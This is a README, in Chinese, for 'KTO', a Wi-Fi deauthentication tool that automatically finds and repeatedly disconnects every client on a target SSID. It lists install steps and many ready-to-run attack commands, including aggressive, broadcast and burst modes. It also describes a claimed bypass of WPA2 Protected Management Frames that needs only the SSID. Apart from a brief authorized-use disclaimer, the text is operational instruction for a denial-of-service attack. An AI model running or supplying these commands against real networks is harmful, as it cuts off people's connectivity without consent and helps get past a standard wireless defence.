将其指向一个 SSID,它便会自动发现所有已连接的客户端并将其踢出——包括试图重新连接的客户端——无需任何手动目标选取。
像 aireplay-ng 这样的工具需要你提供 BSSID 和客户端 MAC。你必须先知道网络上有哪些设备,而且如果有人重新连接,你必须手动捕获并再次运行它。KTO 在一个循环中自动完成所有这些:持续扫描 → 实时客户端列表 → 自动解除认证 → 重复。任何重新连接的客户端都会在下一次扫描中被捕获。
仅限授权使用。 只对你拥有或获得明确书面许可测试的网络运行此工具。未经授权的解除认证在大多数司法管辖区是非法的。
--live-table 显示实时刷新的客户端表格,而非滚动日志,适合演示--log FILE 保存每次踢出操作的时间戳,跨会话追加--scan-only 仅发现并记录客户端,不发送任何帧# Python 3.10+
pip install scapy
# aircrack-ng 套件
sudo apt install aircrack-ng
必须以 root 身份运行。
git clone https://github.com/Ymsniper/KTO.git
cd KTO
pip install scapy
无需其他设置。单一脚本,无配置文件。
sudo python3 kto.py -i <interface> -t <SSID> [选项]
接口需处于监视模式,或使用 --auto-monitor 让 KTO 自行处理。
# 基本用法
sudo python3 kto.py -i wlan0mon -t "CorpNet"
# 让 KTO 处理监视模式
sudo python3 kto.py -i wlan0 -t "CorpNet" --auto-monitor
# 激进模式——无重新连接窗口
sudo python3 kto.py -i wlan0mon -t "CorpNet" --aggressive
# 免除自己的设备
sudo python3 kto.py -i wlan0mon -t "CorpNet" -w AA:BB:CC:DD:EE:FF
# 仅被动发现,不解除认证
sudo python3 kto.py -i wlan0mon -t "CorpNet" --scan-only
# 网状或多 AP 网络
sudo python3 kto.py -i wlan0mon -t "CorpNet" --auto-bssid
# 保存日志并显示实时表格
sudo python3 kto.py -i wlan0mon -t "CorpNet" --log session.txt --live-table
# 使用 aireplay-ng 进行更密集的突发
sudo python3 kto.py -i wlan0mon -t "CorpNet" -n 10 --aireplay --broadcast
# 禁用 PMF 绕过(在 WPA2+PMF 上回退到标准解除认证)
sudo python3 kto.py -i wlan0mon -t "CorpNet" --no-bypass
# 我的手机
AA:BB:CC:DD:EE:FF
# 笔记本电脑
11:22:33:44:55:66
从 v2.1.6 开始,KTO 包含一项针对启用了受保护管理帧(PMF)的 WPA2-PSK 网络的实验性 PMF 功能。当检测到 WPA2 网络上的 PMF 时,KTO 会自动尝试错误密码的 EAPOL 提取:
此绕过不需要实际网络密码 —— 仅需要 SSID。
重要限制:
如果你想完全跳过绕过,仅发送标准解除认证帧(接受具备 PMF 能力的客户端会丢弃这些帧),请使用 --no-bypass 标志。
如果目标 AP 启用了受保护管理帧,KTO 会在启动时发出警告。支持 802.11w 的客户端将静默丢弃未受保护的解除认证帧,因此有效性取决于连接的设备。
然而,在激进模式下且解除认证突发足够高时,已观察到 KTO 仍能在某些网络上断开受 PMF 保护的客户端——即使没有绕过。帧的高频率似乎压倒了某些实现。因此,尽管 PMF 是一项关键防御措施,但在某些设置中并非万无一失。
Ctrl+C 可干净地停止所有操作,如果 KTO 创建了监视接口则将其恢复为管理模式,并打印包含每个客户端突发次数的会话摘要。
MIT 许可证 —— 参见 LICENSE。
| 标志 | 默认值 | 描述 |
|---|
-i, --interface | 必需 | 无线接口(例如 wlan0mon) |
-t, --target | 必需 | 目标 SSID 名称 |
-w, --whitelist | --- | 要免除的 MAC 地址,逗号分隔 |
--whitelist-file FILE | --- | 要免除的 MAC 地址文件,每行一个(# 表示注释) |
-c, --channel | 自动 | 锁定到特定信道 |
-n, --count | 5 | 每次突发中每个方向的解除认证帧数 |
-s, --sleep | 5.0 | 每次扫描之间的等待秒数 |
--scan-duration | 8.0 | airodump-ng 每次扫描的监听秒数 |
--delay | 0.1 | 激进循环中每个客户端的延迟 |
--broadcast | 关闭 | 同时向 ff:ff:ff:ff:ff:ff 发送解除认证 |
--aireplay | 关闭 | 使用 aireplay-ng 替代 Scapy |
--aggressive | 关闭 | 并行运行扫描和解除认证线程 |
--scan-only | 关闭 | 被动模式,不发送任何帧 |
--auto-monitor | 关闭 | 通过 airmon-ng 自动启用监视模式 |
--auto-bssid | 关闭 | 针对网状/多 AP SSID 自动选择最强 BSSID |
--reason | 7 | 802.11 原因码(1=未指定,4=不活动,7=class3帧) |
--log FILE | --- | 将带时间戳的踢出日志保存到文件 |
--live-table | 关闭 | 显示实时刷新的客户端表格,而非滚动输出 |
--no-bypass, -nb | 关闭 | 禁用实验性 PMF 绕过 |